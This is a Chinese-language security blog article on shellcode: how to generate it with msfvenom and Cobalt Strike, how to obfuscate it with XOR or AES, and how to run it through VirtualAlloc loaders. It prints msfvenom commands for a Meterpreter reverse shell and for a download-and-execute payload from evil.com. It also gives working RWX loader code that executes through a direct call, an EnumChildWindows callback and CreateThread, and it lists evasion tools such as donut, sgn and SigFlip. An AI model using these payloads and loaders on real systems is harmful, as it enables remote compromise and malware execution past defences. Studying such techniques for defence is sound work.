Shellcode技术——代码注入的核心

admin 2026-04-16 03:21:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍了Shellcode技术的核心概念与应用,涵盖其作为位置无关、无空字节的机器码定义,分类包括功能型与架构型。详细解析了使用Metasploit、CobaltStrike及手动编写生成Shellcode的方法,并演示了XOR/AES编码、变形等混淆技术。重点提供了直接执行、回调函数及线程注入等多种执行方式代码实例,推荐了donut、sgn等实战工具,旨在提升代码注入与漏洞利用的攻防能力。 综合评分: 85 文章分类: 渗透测试,恶意软件,代码审计,红队,二进制安全


cover_image

Shellcode技术——代码注入的核心

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年4月15日 08:34 广东

在小说阅读器读本章

去阅读

,一、前言概述

Shellcode是一小段用于执行特定任务的机器码,是现代攻击的核心技术之一,本课将深入介绍Shellcode的生成、混淆和执行技术。

二、相关内容

2.1 Shellcode基础

Shellcode定义:Shellcode是一小段用于执行特定任务的机器码,常用于漏洞利用和代码注入。

Shellcode特点:

  • 位置无关代码(Position Independent Code)
  • 无空字节(Null-byte Free)
  • 小体积
  • 自包含

Shellcode类型:

  • 功能分类:执行命令、反弹Shell、下载执行、提权
  • 架构分类:x86 (32位)、x64 (64位)
  • 实现方式:汇编编写、C编译提取、工具生成

2.2 Shellcode生成

2.2.1 使用Metasploit生成

# 生成反弹Shell Shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

# 生成执行命令 Shellcode
msfvenom -p windows/x64/exec CMD=cmd.exe -f c

# 生成下载执行 Shellcode
msfvenom -p windows/x64/download_exec URL=http://evil.com/malware.exe -f c

2.2.2 使用Cobalt Strike生成

在Cobalt Strike中生成Beacon Shellcode。

2.2.3 手动编写

x64 MessageBox Shellcode:

section .text
global _start

_start:
    sub rsp, 28h
    mov rax, [gs:60h]
    mov rax, [rax + 18h]
    mov rax, [rax + 20h]
    mov rax, [rax]
    mov rax, [rax]
    mov rax, [rax + 20h]
    ; 获取MessageBoxA地址并调用...

2.3 Shellcode混淆

2.3.1 编码混淆

XOR编码:

void XorEncode(unsigned char* shellcode, size_t size, unsigned char key) {
&nbsp; &nbsp;&nbsp;for&nbsp;(size_t&nbsp;i =&nbsp;0; i < size; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; shellcode[i] ^= key;
&nbsp; &nbsp; }
}

多字节XOR:

void&nbsp;MultiXorEncode(unsigned&nbsp;char* shellcode,&nbsp;size_t&nbsp;size,&nbsp;unsigned&nbsp;char* key,&nbsp;size_t&nbsp;keySize)&nbsp;{
&nbsp; &nbsp;&nbsp;for&nbsp;(size_t&nbsp;i =&nbsp;0; i < size; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; shellcode[i] ^= key[i % keySize];
&nbsp; &nbsp; }
}

2.3.2 加密混淆

AES加密:

void&nbsp;AesEncrypt(unsigned&nbsp;char* shellcode,&nbsp;size_t&nbsp;size,&nbsp;unsigned&nbsp;char* key)&nbsp;{
&nbsp; &nbsp;&nbsp;// 使用AES加密
}

2.3.3 变形混淆

ShellcodeMutator

  • GitHub: https://github.com/nettitude/ShellcodeMutator

sgn (Shellcode Encoder)

  • GitHub: https://github.com/EgeBalci/sgn

2.4 Shellcode执行

2.4.1 直接执行

void&nbsp;ExecuteShellcode(unsigned&nbsp;char* shellcode,&nbsp;size_t&nbsp;size)&nbsp;{
&nbsp; &nbsp; LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&nbsp; &nbsp;&nbsp;memcpy(memory, shellcode, size);
&nbsp; &nbsp; ((void(*)())memory)();
}

2.4.2 回调执行

void&nbsp;ExecuteShellcode_Callback(unsigned&nbsp;char* shellcode,&nbsp;size_t&nbsp;size)&nbsp;{
&nbsp; &nbsp; LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&nbsp; &nbsp;&nbsp;memcpy(memory, shellcode, size);
&nbsp; &nbsp; EnumChildWindows(NULL, (WNDENUMPROC)memory,&nbsp;0);
}

2.4.3 线程执行

void&nbsp;ExecuteShellcode_Thread(unsigned&nbsp;char* shellcode,&nbsp;size_t&nbsp;size)&nbsp;{
&nbsp; &nbsp; LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&nbsp; &nbsp;&nbsp;memcpy(memory, shellcode, size);
&nbsp; &nbsp; CreateThread(NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)memory,&nbsp;NULL,&nbsp;0,&nbsp;NULL);
}

2.5 实战工具

donut

  • GitHub: https://github.com/TheWover/donut
  • 将PE、DLL、.NET程序集转换为Shellcode

sgn

  • GitHub: https://github.com/EgeBalci/sgn
  • Shellcode编码器

SigFlip

  • GitHub: https://github.com/med0x2e/SigFlip
  • 将Shellcode嵌入签名文件

2.6 实战案例分析


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《Shellcode技术——代码注入的核心》

评论:0   参与:  0